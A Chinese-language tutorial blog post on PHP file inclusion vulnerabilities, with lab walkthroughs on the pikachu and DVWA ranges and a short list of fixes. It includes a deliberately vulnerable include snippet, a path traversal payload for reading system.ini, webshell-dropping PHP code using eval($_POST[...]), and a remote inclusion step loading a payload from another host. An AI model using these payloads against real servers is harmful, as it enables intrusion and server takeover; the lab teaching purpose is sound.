1. 程式人生 > 實用技巧 >淺談檔案包含漏洞及靶場復現

淺談檔案包含漏洞及靶場復現

淺談檔案包含漏洞(附:靶場復現)

1. 概述

程式開發人員通常會把可重複使用的函式寫到單個檔案中,在使用某些函式時候直接呼叫此檔案,而無須再次編寫,這種呼叫檔案的過程稱為包含。

程式設計師為了使程式碼更加靈活,經常將被包含的檔案設定為變數,用來進行動態呼叫,但正是由於這種靈活性,從而導致客戶端可以呼叫一個惡意檔案,造成檔案包含漏洞。

檔案包含漏洞分為本地包含(LFI)和遠端包含(RFI)。檔案包含漏洞在 PHP Web Application中居多,在JSP ASP程式中偏少。

PHP中共有四個檔案包含的函式,分別為include()、include_once()、require()、require_once()。這四個函式都有包含的功能,但作用有一定的差異:

  • require 找不到被包含的檔案時會產生致命錯誤(E_COMPILE_ERROR),並停止指令碼;
  • include 找不到被包含的檔案時只會產生警告(E_WARNING),指令碼將會繼續執行;
  • include_once 與include()類似,唯一的區別是如果該檔案中的程式碼已經被包含,則不會再次包含;
  • require_once 該函式和require()類似,區別在於若該檔案中的程式碼已經被包含,則不會再次包含。

2. 漏洞產生原因分析

建立一個include函式

<?php  
   include $_GET['test'];
?>

再建立一個phpinfo.php檔案

<?php phpinfo(); ?>

構造url執行include函式來開啟phpinfo頁面

此外將phpinfo的字尾名改成 .jpg .txt 等都可以解析出來。可見只要檔案內包含PHP程式碼,include函式都可以解析出來,這也是上傳圖片馬可以解析程式碼並獲取shell的原因。

3. 本地包含漏洞(LFI)

只能夠對伺服器本地的檔案進行包含。本地檔案包含漏洞所包含的各類情況如下:

  • 可以包含本地檔案,在條件允許時可執行程式碼
  • 執行上傳的圖片馬,生成webshell。
  • 讀取敏感檔案,如系統配置檔案以及PHP檔案等。
  • 包含data:或php://input等偽協議
  • 若有phpinfo則可以包含臨時檔案
  • 包含日誌檔案GetShell
  • 包含/proc/self/envion檔案GetShell

3.1 靶場復現

3.1.1 以pikachu靶場的本地包含漏洞為例

選擇查詢的內容艾弗森,檢視當前頁面的原始碼會發現filename為變數,可實現檔案包含。

<div class="main-content">
    <div class="main-content-inner">
        <div class="breadcrumbs ace-save-state" id="breadcrumbs">
            <ul class="breadcrumb">
                <li>
                    <i class="ace-icon fa fa-home home-icon"></i>
                    <a href="fileinclude.php">file include</a>
                </li>
                <li class="active">本地檔案包含</li>
            </ul><!-- /.breadcrumb -->
            <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再點一下關閉)"
               data-content="先了解一下include()函式的用法吧">
                點一下提示~
            </a>
        </div>
        <div class="page-content">

            <div id=fi_main>
                <p class="fi_title">which NBA player do you like?</p>
                <form method="get">
                    <select name="filename">
                        <option value="">--------------</option>
                        <option value="file1.php">Kobe bryant</option>
                        <option value="file2.php">Allen Iverson</option>
                        <option value="file3.php">Kevin Durant</option>
                        <option value="file4.php">Tracy McGrady</option>
                        <option value="file5.php">Ray Allen</option>
                    </select>
                    <input class="sub" type="submit" name="submit" />
                </form>
                <img class=player src="include/ai.png" />
<p class=nabname>
Allen Iverson (Allen Iverson), was born on June 7, 1975 in the United States in Hampton, Virginia, a former American professional basketball player, the secretary defender (double can guard), 11 times in NBA all-star squad, a former U.S. dream team captain.Over the years, do you remember his pace of the cross?
</p>            </div>

重新查詢並抓包,將file2.php 修改為../../../../windows/system.ini ,然後放包。

通過檔案包含漏洞可以讀取到系統的敏感資訊。

3.3.2 以DVWA靶場為例

當一時沒發現系統檔案上傳漏洞或者檔案上傳格式有嚴格限制時,可以上傳一張圖片馬到伺服器,再利用檔案包含漏洞進行解析。

製作圖片馬

<?php
         fwrite(fopen("shell.php","w"),'<?php eval($_POST[xiaoxu]) ?>;');
?>

在DVWA的low等級中的檔案上傳漏洞處,上傳ceshi.jpg圖片馬。(注意檢視上傳處的原始碼,裡面限制圖片不能大於100000B)

記住路徑 ../../hackable/uploads/ceshi.jpg ,然後開啟DVWA中的檔案包含漏洞。

構造URL ?page=../../hackable/uploads/ceshi.jpg 在當前檔案包含的漏洞環境下執行,然後會跳轉到 \phpStudy\WWW\DVWA\hackable\uploads 下呼叫ceshi.jpg檔案並解析執行其中的PHP程式碼。執行成功後會在fi資料夾下生成shell.php的一句話木馬。

用蟻劍連結 http://192.168.43.223/DVWA/vulnerabilities/fi/shell.php 獲取webshell如下。

4 遠端檔案包含(RFI)
當php.ini中allow_url_fopen和allow_url_include為On時,檔案包含函式是可以載入遠端檔案的,這類漏洞被稱為遠端檔案包含漏洞。

4.1 靶場復現

首先開啟allow_url_fopen和allow_url_include。

編寫一句話木馬,由於有包含限制,將檔案字尾改成 .txt放入 :\phpStudy\WWW\pikach\ceshi.txt

<?php
    $myfile = fopen("webshell.php", "w");
    $txt = '<?php @eval($_POST["xiaoxu"]);?>';
    fwrite($myfile, $txt);
    fclose($myfile);
?>

提交查詢並抓包

將filename後面的值改為 http://192.168.43.223/pikachu/ceshi.txt 然後放包,呼叫成功。

到:phpStudy\WWW\pikachu\vul\fileinclude路徑下發現成功生成webshell.php檔案。

5.修復方法

  • 使用str_replace等方法過濾掉危險字元
  • 配置open_basedir,防止目錄遍歷
  • php版本升級,防止%00截斷
  • 對於動態包含的檔案可以設定一個白名單,不讀取非白名單的檔案
  • 做好管理員許可權劃分,做好檔案的許可權管理